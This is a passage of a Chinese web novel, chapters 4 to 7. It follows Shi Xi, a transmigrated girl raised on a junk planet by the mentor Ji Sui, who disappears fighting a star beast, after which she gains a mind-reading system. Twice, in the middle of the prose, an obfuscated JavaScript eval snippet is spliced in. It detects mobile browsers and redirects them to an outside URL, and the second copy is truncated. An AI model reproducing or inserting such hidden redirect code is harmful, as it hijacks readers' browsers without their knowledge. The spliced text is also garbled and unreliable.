上辈子只有在科幻电影里才能看到的星舰,机甲等事物都存在于世界上。 广袤的宇宙中盘踞着帝国和联邦这两个疆域无边的超级大国。 时夕目前所在的地方是一颗位于帝国南部的编号06小行星,这类小行星一般是周围发达星球倾倒丢弃垃圾的地方,简称垃圾星。 垃圾星上各种污染严重,住在这里的居民基本上都以拾荒为生。 河狸区的垃圾山堆放时间久了味道反而相对的没那么刺鼻,因此在这住的居民很多。 想要获得收入,居民们必须前往新落区,区如其名,新落区有不少新到的废品,谁先捡到谁就就能去和垃圾回收工厂的员工换星币。 员工们驾驶着运输飞船,每个月来一次。 来到这个世界的第二年时夕也成为了新落区的捡垃圾大军中的一员。 不过她并不是因为吃不起饭而去的,季绥给她的营养液很多,她从来就没饿过肚子。 时夕去新落区是为了更加真实地接近这个世界。 垃圾星了解外界信息的渠道实在是太少了,过于闭塞,而那些新到的废品堆里经常能刷新出不少好东西。 一开始季绥对此还颇有微词,不过见时夕搞东搞西也没耽误学习也就随她去了。 时夕兴致勃勃地把她在新落区收集到的“藏品”交到垃圾回收工厂的员工面前准备换星币时。 一道晴天霹雳打得她措手不及。 回收厂员工告诉她,她体内没有身份芯片,是个黑户,根本无法绑定光脑也无法拥有星网账户。 做梦都想数星币的时夕:……淦!!! 4. 第 4 章 天边最后一抹光没入云层,一座座矗立着的垃圾山在黑夜笼罩之下化为星空兽起伏不断的背脊,寒风急掠过废品间的空隙,发出声声怒吼咆哮。 远离热闹棚户区的三层小楼在圆形逃生舱的陪伴下抵抗狂风,屋顶怪兽形状的风向标被吹得快速旋转嘎吱作响。 工作台边灯光明亮,身高不够的时夕踩在箱子上正专心工作着。她头上戴着护目镜,手臂来回移动有条不紊地将各种部件按照图纸快速组装。 十分钟后,一台线条流畅的遥控车出现在她的手边。 时夕仔细检查完毕,按下遥控,玩具车迅速变形成目前最受垃圾星小孩欢迎的猎人机甲的形状。 七天前,古厄坦星系突然出现星空兽群,偏远落后的三级星系自卫能力不足,幸运的是恰好路过了一队星空兽猎人,这群猎人驾驶着他们的机甲成功击杀星空兽,这才没有造成更大面积的伤亡。 星空兽袭击的地方正好是垃圾回收工厂总部,机甲英勇对抗怪兽的场面被工厂监控完整地记录下来,在这个只有寥寥数星的小星系上疯传。 垃圾星的小孩们像看电影一样从员工光脑投影中看完了对战全程,开始疯狂迷恋那些帅气的机甲,幻想自己有朝一日也能成为机甲驾驶员。 时夕跟着托维去捡垃圾的时候也看了一遍,热爱和平的她对这些打打杀杀的东西没什么感觉,不过她注意到了身旁小男孩的冒着星星的眼睛。 想到方姨平时对她的照顾,时夕记住机甲造型后回家就开始画图纸找材料,能力有限的她花了两天的时间才做出这么个东西。 机甲模型未完成涂装,外表颜色看起来有些丑。 有点嫌弃自己手艺的时夕操纵模型翻了个跟头,又让它做些基础简单的动作,确定没什么问题后准备把它装进盒子里。 丑就丑点吧,反正不是她玩。 季绥倚靠在门框上,抬手敲了敲忘记关的门,“你手上拿着的是什么?” 时夕转过头就看到了整整十天没家的混蛋老头,她瘪瘪嘴:“没什么,托维过几天要生日了,我亲手做了个给小孩子玩的玩具,作为生日礼物送给他。” 一个小孩给另一个小孩做玩具。 听到她分外成熟的口吻,季绥没忍住笑出声,“哈哈哈,你难道不是因为太穷买不起礼物吗?” 犀利一语,道破真相。 时夕气急败坏红着脸冲他叫嚷:“你懂什么!亲手做的礼物才有诚意!” “好好好,你诚意满满,行了吧。” 他走近拿起机甲模型端详一阵,看着这个的造型分外标准的机甲他挑眉问:“你也喜欢这种规规矩矩的标准制式机甲?” 时夕摘下护目镜摇摇头,“我对机甲没什么感觉。” “为什么?”季绥好奇继续追问:“无论是帝国还是联邦,几乎所有的小孩都希望成为机甲战士或者机甲师,这两个职业可是不少人梦寐以求的职业。” 如果时夕是在这个世界上土生土长的土著,从小成长在各种眼花缭乱的机甲宣传下,她大概也会这么想。 不过很可惜,时夕上辈子所处的世界很安全,更准确点应该说是她所处的国家和平稳定。别说那些动不动就出现带来灾难的星空兽了,大多数普通人活一辈子连热武器都没实际见过。 这个世界的机甲制造出来是为了对抗在全宇宙范围内肆虐的星空兽,是一种攻击力强悍的武器,某些时候机甲甚至会将炮口对准人类。 分外珍惜小命的时夕对这种杀伤力强大的武器实在是喜欢不起来。 不过她没把真正的心里话说出来,而是换了另外一个可信度相对较高的答案:“机甲是很厉害没错,机甲驾驶员和机甲师也的确值得令人尊重,不过那些东西和我又有什么关系呢。” 时夕从他手里拿回玩具模型塞进盒子里,她垂眸包装着礼物盒,声音低低的,“我只是个依靠帮忙修理小家电,在你手里混口饭的垃圾星黑户,那些光鲜亮丽的高薪职业离我太远了,对于不能让我赚到钱的东西,我都不感兴趣。” 听完这番没有任何理想志气,现实无比的话季绥长叹一口气。 他盯着这个站在他跟前,个头只到他腰部的小女孩,心里忽然像被某种情绪堵住一样闷得慌,泛起一阵酸涩的难受。 要是换成在其他更加繁荣发达重视教育的星系,时夕这样极其具有天赋的好苗子会得到悉心的培养,她的未来潜力无限,她的人生五光十色。 可偏偏她一个人孤孤单单地降落到了垃圾星,在这里就别妄想谈什么义务教育了,能在恶劣的环境下平安健康地活着长大就很难得了。 季绥心里难受的同时又觉得十分庆幸,庆幸这个坚强的小家伙落到了他眼前,吸引了他的主意,让他有机会把这孩子捡回去,用他所剩无几的人生好好培养。 季绥伸出手,粗糙宽大却不失温暖的手落在小孩子毛茸茸的头顶上,揉了一把她柔顺细软发丝。 他在心里无声的祈求,希望老天爷能够让他这把老骨头再活久一点,至少活到时夕能独当一面自己也能好好生活时。 猝不及防被人揉脑袋的时夕纳闷抬头,视线恰好对上了老人那双暗含愧疚怜惜的浑浊黑色眼睛。 “咦。”被这眼神弄出一身鸡皮疙瘩的她歪头挣脱大掌,搓了搓胳膊挪开视线,“我觉得我现在的生活挺好的,能吃饱饭,还不用挨饿受冻。” 季绥只不过是一个责任感过剩的好心老头,不是她的爸妈也没和她沾亲带故,没有抚养她的衣服,他愿意给她口饭吃这就足够了。 所以不要在对她产生那些多余的情绪了。 季绥听懂了时夕这句话真正想要表达的意思,他又笑着揉了一把她小小的脑袋。 别别扭扭的小不点,长大了以后要怎么和人相处噢。 时夕气鼓鼓地提高声线:“你再揉我真生气了!揉脑袋长不高的!我还在发育,我要长身体!” 季绥表情恢复正常,语气也变成了以往那个欠揍的混蛋老头腔调, “决定身高的是基因,可不会受这么点无关紧要外部因素影响,你看你现在这么矮,指不定长大以后也会一直矮下去。” 时夕跺脚:“喂!不要过分啊!” “哈哈哈,我实话实说而已。” 笑完季绥话锋一转,托着下巴认真道:“刚才有一点你说错了。” 时夕反问:“哪一点?” 季绥没有立马回答她,他从衣服口袋里拿出一个巴掌大的小盒子,盒子用翠绿色的卡纸包装好,上面的蝴蝶结精致又充满少女心。 “打开看看吧。” 时夕疑惑皱眉,“这是什么?” “算是你的生日礼物,也算纪念咱们两年交情的礼物。” 时夕完全不相信他的话,动也不动,“你会搞这套?肯定有诈。” “啧。”季绥直接一把将盒子塞到她手上,反手敲了一下那敏感多疑的脑袋。 时夕抱头大叫:“嗷!臭老头,你打我干嘛!” “这可是我特地给你弄来的好东西,不领情也就算了还怀疑我,该打。” “你跑到外面杳无音信十天就是为了盒子里面的东西?” 季绥点头,“弄到手不容易呢,记得要好好珍惜。” 话都说到这份上了,时夕将信将疑打开盒子。 她的手小小的,捧着盒子放在工作台上,季绥站在一边,准备欣赏小孩看见礼物后惊喜的表情。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094615|195609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>时夕抽开丝带,把包装纸完整拆下叠好放在一边,两只手一起放在盒子边打开。 盒盖缓缓掀开,出现在她眼前的是一个金属小吊坠,上面镶嵌着一只晶莹剔透的绿色小花猫,除此之外还有个小巧的银白色的腕式光脑。 时夕难以置地信瞪大眼睛,再三确定道:“这真的是送给我的?真的吗?” 季绥眼角的皱纹因为笑意加深,“当然是。”他这个当老师的给学生送礼物有什么好大惊小怪的。 更何况又不是什么贵重的礼物,只不过是个空间钮和光脑而已。 时夕开心了没多久嘴角往下撇,“可是我没有精神力,也没有身份芯片。” 她这个还没进行精神力感知测试的十岁小屁孩,既打开不了空间钮,也无法使用星网。 能看不能用,这不闹心嘛。 季绥提醒,“所以才说你说错了,真正重要的东西在下面。” 时夕往下翻,她看到了一张实体身份卡,上面迎着她的照片和身份信息。 当了两年垃圾星黑户,跟人捡了好多次垃圾都没能成功亲自换到星币的时夕注视着手上意义重大的小卡片愣了半晌。 有了身份芯片身份ID,她就不再是06小行星上的黑户了。 她吸了吸鼻子,小心放下卡片像个活力十足的小炮弹猛地冲过去红着眼眶给了季绥一个大大的熊抱。 “谢谢你,季绥,以后我再也不叫你臭老头,混蛋老头了。” “我费了好大力气,走了好多关系才给你弄到的身份芯片呢,你就这样敷衍回报我啊?” 察觉到他不怀好意,时夕把眼泪又憋了回去,瓮声瓮气问:“你又想干嘛?违法犯罪,作奸犯科的事情我可不做。” 她两辈子都是大大的良民。 季绥被她这翻脸速度给气笑了,“我没想干嘛,只是通知你明天好好给我锻炼身体。” 时夕:“就这?” 她不假思索答应,“没问题!不就是锻炼身体吗,你让我练成泰森那样都没问题!” “泰森是谁?他长什么样?” “这不重要。” 季绥离开工作间让小女孩独自享受一下喜悦,临走前他又问了一句:“如果你之后有机会接触学习修理机甲呢?你想不想当一名机甲师?” 时夕爱不释手地摸着绿色小猫,头也没抬回答:“真有那么一天再说吧,能学肯定也是会学的,毕竟发财致富的机会是留给有准备的人的。” “记住你这句话。”可别到时候给他反悔。 “嗯嗯,记住了,记住了。”反正说说而已。 * 失去记忆的时夕生日被定在了她降落在垃圾星的那天,也就是她穿越到这个世界的第一天。 八岁被季绥捡回去,十岁摆脱黑户身份。 十岁开始,她在季绥手下艰难求生,不完成任务不给饭吃的那种艰难。 谁能想到这臭老头前一天晚上还给她送礼物,结果第二天就让她接受斯巴达一般的魔鬼训练啊! 每天绕着河狸区跑三圈也就算了,他甚至还不知道从哪里搞来一个垃圾星根本没有的格斗机器人! 牛逼轰轰的机器人把时夕揍得鼻青脸肿凄惨兮兮的。 除了体力耐力爆发力灵敏度训练,时夕还要练习射击把自己的动态视力提高到季绥所要求的标准。 又是“锻炼身体”又是学习那些奇奇怪怪的机械结构修理拆分的时夕每天恨不得把自己掰成两半来个影分身。 用了差不多六年的时间,季绥硬生生地把时夕这个战五渣培养成了特种兵。 当时夕十六岁成功一拳干爆那台陪练多年的格斗机器人时,季绥终于露出如释重负的笑容。 5. 第 5 章 高矮不一的垃圾山下尘土漫天,曲折小道上一辆破旧掉漆的皮卡车正缓缓行驶着,驾驶座内大喇叭播放的摇滚乐节奏劲爆,鼓点一声比一声急促。 时夕嘴里叼着一瓶刚喝完的营养液,脑袋跟着节拍摇摆着,兴致来了还跟着高低哼两声。 她娴熟地开着自己这辆名叫“宝马”的爱车,驶过一个又一个弯道。 小破皮卡后面放满了她今天从棚户区内拉回来的家电,这些家电里有的修一下还能继续用,有的则是正式宣告报废进入垃圾行列。 修理坏家电,回收废品,这是时夕如今获得收入的方法之一。 小路的尽头立着一栋三层小楼,那是时夕现在的家。 她从季绥那“继承”过来的家,至于之前那个逃生舱,她十二岁时就睡不了了,开始锻炼身体后她的个子蹿得太快,那张平放好的椅子早已容纳不下她。 于是乎,时夕理所当然地住进了季绥提前为她准备的房间内,哪怕现在季绥不在了,她也依然睡在那。 四年前,一头落单的星空兽凭空出现在06小行星上。 众所周知,这类蚕食宇宙的异次元怪物一般只会出现在资源丰富的星球附近,极少有星空兽会游荡在专门用来堆放废品垃圾的编号小型星内。 落单的星空兽是一只兽型未成年体,就算只是头幼兽,也足以给根本没有任何防御反击武器的河狸区带来灭顶之灾。 意外发生的过于突然,谁都没有料到这样贫瘠的地方会出现那样恐怕骇人的怪物。 那天,时夕正好去棚户区帮季绥送一个修理好的小冰箱。 她到现在都还记得居民们看见无法战胜的怪物时,脸上流露出的满脸绝望的表情和惊恐逃蹿的模样。四周都是因为震动而坍塌的房屋,耳边环绕着此起彼伏的尖叫恐呼。 时夕站在恐慌的人群中,抬头仰望着那头足足有几十层楼高,正在疯狂甩尾到处作乱的失控怪物,震撼无比。 那是她来到这个世界上第一次真正意义上的直面被全宇宙视为一级危险的星空兽。 她仅用一眼就判断出的那根本就不是肉体凡胎能够战胜的存在。 渺小的人和巨大的怪物,两者之间差距实在是太大。 望着嘶吼的怪物,时夕心里无可抑制地涌现出一股深深的无力的挫败感。 面对强大她无法反抗,最终只能成为狼狈逃亡大军中的一员。 所有人同时在心里祈求着,期盼这次的星空兽袭击也会像六年前那样,有一队星空兽猎人从天而降驾驶着机甲拯救他们于水火之中。 可惜,那注定是不可能的,没有人在意一颗可有可无的垃圾星上的居民们的死活。 身处棚户区的时夕反应过来后,当机立断开车带上还没来得及逃跑的方丽一家三口。 她紧握方向盘,车速飚到最高,往季绥所在的三层小楼处飞速驶去。 那偷懒的老头现在肯定一头扎进了工作室里,他认真起来对外界所有的事情都不闻不问的,全身心沉浸在自己的世界中,一定还不知道星空兽的事。 时夕一路狂飙回到家,竟然意外地看到季绥早就站在了门外。 满脑子想的都是如何从怪物眼里逃出生天的她没有注意当时对方脸上复杂的表情。 她一把拉开车门冲了过去,罕见地动怒,朝着他厉声吼叫道:“既然已经看到星空兽了,你还愣在这里干嘛!为什么不快点走!是想成为那丑东西嘴里又老友硬的牙签肉吗!” 被她数落一通的混蛋老头稀奇地没有反唇相讥,而是眨了下眼笑着反问道:“那你这小不点呢?不是开着车吗,为什么不载着你方姨一家赶紧跑,回来管我这个腿脚不便的老东西的干什么。” 时夕提高声音强调:“你管我!我回来拿我的装备和钱不行吗!” 在去送东西之前,两人之间刚好因为某个问题爆发了前所未有的激烈争吵,时夕出去送货,纯粹是因为想躲个清静,不想看到这个烦人又固执的老头。 就算心里万般担心,此时的她也嘴硬不愿意承认。 在时夕看来谁先服软谁就输了,而关心也是一种变相的服软。 连续被人吼两次的白发老头笑容不变,他的视线越过怒气冲冲的少女,落在跟着她一起下车的一家三口身上,郑重托付道:“之后,时夕就麻烦你们多帮我照顾一下了。” 方丽三人还没完全理解这句话的意思,就见季绥猛然抬手,将一针镇静剂注射进了时夕体内。 猝不及防被袭击的时夕瞪大眼,那双翠绿色的眼睛死死盯对她出手的混蛋老头,“老头,你……” 她剩下的话还没来得及说完,药效发作立马失去意识软趴趴地落在了方丽怀里,托维在一边搀扶着两人。 季绥静静凝视着方丽怀中正闭眼沉睡的少女片刻,他低下头把挂在脖子上的吊坠解下来,放在这个自己一手养大的小不点身上。 “这里很安全,你们可以呆在这暂时避难,等时夕醒来后请你们告诉她,楼里的东西都归她了,包括保险柜里的,让她一个人开心去吧。” “哼,跟我叫板还嫩了点,我不管你谁管你,不听话的死孩子。” 老人留下这两句话转身离开,他的脊背挺得笔直,背影孤烈决绝。 * 混沌模糊的意识恢复清晰,时夕再次睁开眼,听到的第一个消息就是河狸区出现的那只作乱的星空兽已经确认死亡。 杀死星空兽的人,是季绥。 没人能料到,那个被棚户区的居民们视为怪人的孤僻老头居然会操纵机甲,他独自一人驾驶着那架造型古怪的机甲将兽型星空兽吸引开。 机甲和星空兽消失在了众人的视线中。 三个小时后,有人发现了压在垃圾山上的星空兽尸体,怪物脖子被砍断,恶心的蓝色血液从切口处缓缓冒出浸染了整片土地,腥臭味不断蔓延。 在尸体旁边倒着一架难以辨别型号颜色漆黑的机甲,机甲舱舱门敞开,里面空荡荡的,驾驶机甲的季绥无影无踪。 换做平时,垃圾星上的人看见机甲这样的好东西,早就一股脑冲上去想着怎么分了卖钱了,但这次没有任何一个人去动那一架静默的机甲。 他们将机甲每个角落沾染的血液仔细擦干净,等待着它真正的主人苏醒。 时夕在星空兽袭击的第二天醒来,她在众人的簇拥下来到季绥留下的那架机甲前。 她在一声声“节哀顺便”中,一言不发地将失去主人的机甲收进机甲钮内。 她垂眸看着手心中躺着的那枚黑色机甲钮,忽然想到,怎么使用这东西还是季绥教她的呢,她那时还纳闷一个捡垃圾修家电的小老头怎么知道机甲的收放。 原来那老家伙藏得那么深啊,真可恶啊,欺骗一个未成年小孩,等人回来,她一定要把那臭老头狠狠打一顿,让他知道什么叫做“不肖子孙”“欺师灭祖”。 时夕紧咬着下唇,把机甲钮放进自己的小猫空间钮内,仰头将眼眶里打转的眼泪憋了回去。 人还没死,只是失踪了而已,哭什么丧。 时夕吸吸鼻子,无视走到被众人避之不及的星空兽尸体旁,用光脑详细拍照记录后,抬脚用了十成十的力道恶狠狠地踹了一脚早就凉透发臭腐烂的尸体。 忍着脚趾上传来的剧痛,她走回小楼,把自己在房间里关了三天三夜,无论方丽三人怎么劝都不愿意出来。 三天后,时夕开着自己装上大喇叭的小皮卡重新出现在棚户区的居民面前,揽下了所有修理的活,帮着房屋受损的人们重建家园。 她接替了季绥原本的工作,专门为居民们修理一些七零八碎的小家电。 棚户区的居民们每每看到这个形单影只的少女,都会想到那个为了保护他们挺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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向来脾气犟不肯低头的托维拿着这笔烫手至极的钱,自觉地没有问这笔巨款是哪里来的,也没有说出任何一句拒绝的话。 时夕拍了拍眼前这个眼睛红得快要哭出来的小屁孩的肩膀, “方姨会好起来的,别伤心了,治病的钱不够你再偷偷和我说,我来想办法。” 托维鼻音明显,他低下头哽咽着:“谢谢你,时夕,还有,对不起。” 时夕潇洒挥手转身:“可不是白白给你的,是借给你的,以后记得还给我十倍的星币。” 身后传来破涕为笑的声音。 启程的那天,时夕去送行,她主动和方丽,帕劳,托维三人拍了张照片,把自己的光脑号告诉托维,让他买了光脑以后记得加她,她到时候再把照片传过去。 托维点头答应她。 垃圾回收工厂的飞船渐渐消失在河狸区灰暗的天空。 时夕收回目光叹气,“这下好了,真成孤家寡人了。” * 一年后的今天,时夕二十岁,在二十岁成人的第一天,她的家被拆了。 三层小楼在风沙中敞开大门,注意到这一幕,时夕匆匆踩下刹车。 不远处画上垃圾分类符号的垃圾桶滚动着。 她上前扶起垃圾桶,将嘴里的营养液瓶子吐进去。 摇摇欲坠的大门上,用鲜艳醒目的红漆喷涂着“还钱!”两个大字。 时夕辨认出来,写字的漆是她特地囤着准备哪天用来给宝马改色的漆。 啧,那群人可真过分啊。 当初给托维医药费的时候有多潇洒,现在被逼债就有多狼狈。 穷得叮当响的时夕蹲下来坐在门边托腮,思考自己接下来该怎么办。 就在她第三次叹气时,她的脑海内倏然响起一道完全符合刻板印象的机械音。 【锵锵!心动!心动!超心动心有灵犀系统正式上线!】 冷不丁被吓一跳的时夕:……喂!能不能不要用一本正经的声线说乱七八糟的话啊! 6. 第 6 章 时夕听到声音猛然站起,她迅速环顾四周,小楼附近光秃秃一片,除了垃圾还是垃圾。 没人啊?那到底是谁在说话? 正当她疑惑时,脑海里那道陌生的机械音再次响起: 【系我呀,主银!我是你的心动!心动!超心动心有灵犀系统!】 时夕:听名字感觉不像是正经系统啊。 【主银,你不要这么说人家嘛,人家最正经了,你这么说人家,人家会伤心的,嘤嘤嘤……】 时夕抖了抖身上的鸡皮疙瘩,嫌弃之情溢于言表,“打住打住!能不能用正常的语气说话,还有和人聊天之前能先做一下自我介绍吗,别这么冒昧地搭话行不行。” 上线第一天就被主人嫌弃的系统用像素点在时夕脑海中摆出个哭哭的表情:【T^T】 时夕脸上表情不变,心里却被小萌了一下。 好久没见到过这么复古的颜文字了,还挺怀念的。 “好了,你先开始自我介绍吧。” 系统乖乖听话照做:【主银,你是被世界意识选中的孩子,所以才会来到这个宇宙,而我则是主银你的帮手,负责帮助主银提升系统能力,主银请你相信我!我一定会好好加油工作的!】 先不谈为什么被选中的孩子没有数X宝贝这件事。 时夕在原地转了一圈,全方位展示自己高挑完美的身材,182cm,66kg,这可是她多年来辛辛苦苦锻炼出成果。 “就我这身高,你说我是孩子?而且你来的很不巧,我今天刚满20岁。” 星际时代,人类的平均寿命长达两百岁,无论帝国还是联邦,成人的法定标准年龄都是20岁。 今天过后时夕就是一个能独立购买跨星域船票的完全民事行为能力人。 系统冒出两滴像素汗:【那个……主银,我不是故意迟到的,是发生了点小意外导致我能量不足一直在沉睡,我今天好不容易才积攒了足够的能量,就立马迫不及待地重启来给主银你点亮技能了。】 时夕:我就说穿越异界有新手大礼包吧。 “好吧,勉强相信你,既然都有你这样的系统,那我的主线任务是什么?还有金手指……不对,技能是什么。” 按照经验,绑定系统的人身上多半存在不得不拼尽全力完成的任务。 系统:【主银,我的数据库在意外中受损,并没有检测到什么任务,至于能力,就是我滴名字呀主银!】 时夕皱眉回想它那个一言难尽的长名,心动?那是什么技能?类似与“魅惑”吗?这种鸡肋的技能还是算了,她用不着。 察觉到时夕的想法,系统努力为自己辩解:【不是的主银!是‘心有灵犀’!这才是重点!人家的技能是读心啦!】 “能关掉吗?我不喜欢自己的想法随时随地被你读取。” 时夕作为被读心的一方没有任何隐私可言,感觉很不舒服。 为了不被讨厌,系统忙不迭答应:【当然可以主银,人家现在就关掉,顺便把技能共享给你!】 时夕即将获得的技能准确来说应该是属于系统的技能。 她作为系统的宿主,系统可以在两者之间建立技能共享链接通道。 一旦通道建立成功,时夕便可以使用读心技能。 * 通道的建立大概需要半个小时,在此期间,时夕坐在门口有一搭没一搭地和心智感觉只有七八岁的小系统聊着。 “系统,你说的世界意识是怎么回事?” 时夕可以确定,上辈子的她身体健康不存在猝死的风险,穿越之前她躺在床上睡觉睡得好好的,一没有遭遇什么失控的大客车,二也没有去便利店买宵夜晚餐。 系统压低声音:【主银,嘘!那是我们不能探究的秘密呀!】 时夕:“谜语人很不讨喜的哦。” 【哭哭(╥﹏╥),可是人家也不知道嘛。】 时夕见状不再为难它,换了个的问题,“除了我以外,还有其他像我这样‘被选中的孩子’吗?” 系统:【这个,人家不确定有没有。】 时夕扶额,叹了口气,“那你说的意外又是怎么回事?什么意外让你迟到的?” 系统哇的一声哭了出来:【不记得了,呜呜呜,当时感觉真的好难受,我还以为再也见不到主人了。】 好一个一问三不知。 对付熊孩子一套又一套的时夕不太会应付听话的好小孩。 “别哭了,我不是在这吗,以后你想看几眼就看几眼。” 安抚了好一阵,系统才重新恢复平静,它抽抽搭搭的:【对不起,主人,我是不是很没用。】 时夕客观评价:“我还没用过你的技能,我也不知道你到底有没有用,不过呢,做人要自信,做系统也是一样的,要相信你自己。” 得到鼓励的系统瞬间振奋起来:【好的主银!】 没过多久,技能共享通道建立成功,时夕清晰地感受到自己身上似乎发生了某种变化。 有什么不一样了,但更具体的变化她也说不清楚。 建立链接通道需要消耗大量能量,蓝条清空空的系统很快体力不支。 【主银,很抱歉我不能继续陪在你身边了,不过不用担心,我留了一份自己总结技能简介,麻烦主人自己按照上面的指引操作,人家先去睡觉了,主银拜拜……】 刻板机械音的音量越来越低,到最后微不可闻,彻底消失。 还没找到技能简介的时夕伸出尔康手:不是朋友,新手指引还没做完啊! “喂喂喂?系统?还在吗?” 任凭她如何在脑海里呼叫,所期待的回应一直没出现。 一个小时过后,静坐在门口的时夕起身,她又叫了一声系统,依然毫无反应。 确定系统的意识消失后,时夕从口袋里拿出一本黑色小本子,开始在上面写写画画: 1.存在世界意识(未知?) 2.系统可信度保留(接触时间过短,需继续观察) 3.不排除存在其他技能拥有者的可能性(不能暴露能力) 4.“能量”来源是什么?使用系统技能是否需要付出相应代价?(慎重使用) 时夕视线在第四个问题上停留片刻后,把纸撕下点燃。 橙色火焰慢慢从灰烬部分撤离,她抬脚将其碾碎,粉末随风沙消散。 * 时夕简单地收拾了一下被翻得乱七八糟家,她走上二楼,跨过横在房门前的木板,房间正中央放了一个半米高的木箱。 掀开箱子,里面的东西果然不翼而飞,箱子旁边她特地放着的两张设计图被人随意丢气在地面,上面踩出的鞋底纹路清晰可见。 时夕捡起图纸拍了拍灰,想到之后会发生什么就忍不住坏心眼地笑出声,“哈哈哈!一群蠢货,敢用那些枪就有好戏看喽。” 一年前她为了给方姨筹款,主动联系了河狸区的蟹组公司。 堆满垃圾的小行星上哪里来的什么正经公司,说好听点是公司,说不好听点就是为非作歹的黑恶势利。 这片深受污染的土地上最为短缺的资源就是可饮用水。 蟹组公司大约在两年前突然出现,这群横行霸道的人不知道用什么办法和供水所沆瀣一气,将原本二十星币一小瓶的饮用水,硬生生抬价到一百星币一瓶,价格整整翻了五倍。 高昂的水费让棚户区的居民苦不堪言,不少人没钱喝干净水,大着胆子喝人工净化的雨水冰水,结果把自己给喝死了。 方丽近两年身体虚弱得快恐怕也与此有关。 她是个极其节约的女人,知道丈夫和儿子多年来都在为想办法移民到其他环境更好的星球而努力赚钱攒钱,平时舍不得喝水,身体无法自净,病情自然恶化得更快。 因为这个问题时夕和方丽吵了不少次架。 时夕有手艺傍身,除了修理小家电,还会兼职赚些外快,她明白干净的水对于身体健康的重要性,在这方面也从来没有亏待过自己。 每次她去搬水都会顺带给方丽家带上一箱,只是一份小心意,多多少少也能给帕劳叔和托维省点钱减轻负担。 可没想到在三人的小心呵护下,方丽的身体还是撑不下去了。 时夕从托维那得知方丽的病情后,默默在心里把这笔账算在蟹组公司头上。 既然方姨身体变差很大一部分和这黑心公司有关,那治疗方姨的医药费由该公司出天经地义。 更何况,蟹组公司原本就对她“关照有加”,他们不知道从谁口中得知了她手上有一台季绥留下的机甲。 能击败星空兽的机甲价值几何一点也不难猜。 黑心公司打上了机甲的主意,先是假模假样说愿意出两百万星币用个极其厚道的价格买下这台已经“报废”的机甲。 时夕想也不想拒绝,季绥的机甲在她心里无价,给多高的价格都不会卖。 软的不行,那就来硬的,最忙的那段时间,时夕一个晚上要将十多名不请自来的“客人”丢到垃圾山。 杀人犯法,客人们只是短暂晕了过去,向来自诩大大良民的时夕绝对不会脏了自己的手。 双方之间 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蟹组公司在河狸区猖狂嚣张,隔壁水獭区的鲸组公司也不是好惹的。 这两黑色势力之间因为各种原因存在不小的矛盾。 俗话说得好敌人的敌人就是朋友,常年混迹在垃圾星的时夕人缘还不错。 一个星期前,她从鲸组那的人打听到最近一段时间,双方之间会发生一场“械斗”会出人命的那种。 蟹组的人当然是死得越多对她越有利。 于是,时夕赶忙掏出了之前拜托垃圾回收厂员工采购一批次能量矿石。 和用于制作武器的能量晶石——休莱特晶石不同,次能量矿石虽然在外表色泽硬度上和休莱特晶石很像,但蕴含能量纯度完全不同,次能量矿石储能稀少,用来当燃料都不够格。 时夕用次能量矿石连夜赶工手搓出了一批假模假样的能量枪,摆在最显眼的地方并刻意留下设计图和说明书,吸引催债人的注意。 那几十把枪无一例外全是只有前面三发子弹能看,三发过后自动变成仿真玩具枪。 按照她对蟹组的了解,那群人绝对不会认真检测武器,顶多随便开两枪就完事了。 等和鲸组火拼到最后……想到那精彩的场面,时夕嘴角弧度压都压不住。 再次感谢臭老头当年逼着她学的那些杂七杂八的东西,能让她狠狠坑那群恶霸一把。 时夕愉快地哼着歌,洗漱完毕后躺在她的小床上,查看自己星网账户上的余额。 九万八星币,距离买一张离开古厄坦星系的单人单程船票还差两千星币。 她要离开这个偏远落后的三级星系。 前两次突发的星空兽袭击让时夕明白了移民到一级星系的重要性。 只有待在救援力量充足,星球防御系统完善的一级星系她才能过上安全平静的生活。 她这辈子真的不想再看到那群恶心丑陋独树一帜的星空兽了。 等火拼结束后,蟹组的人一定会来找她算账,稳妥起见,她必须想办法在三天内在垃圾星上弄到两千星币赶快离开躲避他们疯狂的打击报复。 时夕关掉光脑,手臂搭在紧闭的眼睛上,呼吸逐渐平稳。 就当她准备入睡时,脑海中骤然浮现出几行文字,用的还是星际通用语。 【技能名称:心有灵犀读心术。 技能加载方法:技能安装完毕后,使用者闭眼再次睁开即可读取第一眼所见事物心声(仅有一次机会选定,选定事物后不可更改) 技能使用限制:一天仅能使用一次(分主动被动),若想增加技能额外使用次数,使用者可自行以100灵犀值兑换。 灵犀值获取方法:???(等级未达标,无法查看)】 终于接收到系统技能简介的时夕一个鲤鱼打挺从床上坐起来。 逐字逐句阅读完毕,她开始犯难,到底要怎么确保自己第一眼看到的是人。 小楼附近除了那群要债的平时根本不会有人来。 用镜子看自己?可镜子里的“自己”只是影像,根本不算真正的人。 要不干脆去绑个人?不行,不至于不至于。 思来想去纠结了一个晚上也没想到什么好办法。 第二天清早,时夕抬头,用她那双黑沉的熊猫眼,眯眼望着难得放晴的天空。 嗯,风和日丽,光线明亮,适合看人。 她启动爱车驶向人流量最多的垃圾场新落区。 7. 第 7 章 晴天buff加持下,新落区刷新了不少趁着暖和来捡垃圾的人。 免费的日光浴,谁都想来晒一晒。 时夕把车停在一边,爬到一座相对较高的垃圾山上远眺。 观测完毕,她走到人最多的区域,加入其中,开始沉浸式捡垃圾。 有棚户区的人认出时夕,朝她打招呼,“小时师傅,好久都没在新落区见到你了,今天怎么突然来了,修理单子不够吗?” 时夕正愁该怎么和人搭话呢,她微笑着走到那人身边,“天气好出来逛一逛。” 说完她不着痕迹地瞥了眼对方后背的篓子,还剩三分之二的空间,看来段时间内不会离开。 OK呀,就将这位好心人士作为技能加载目标吧。 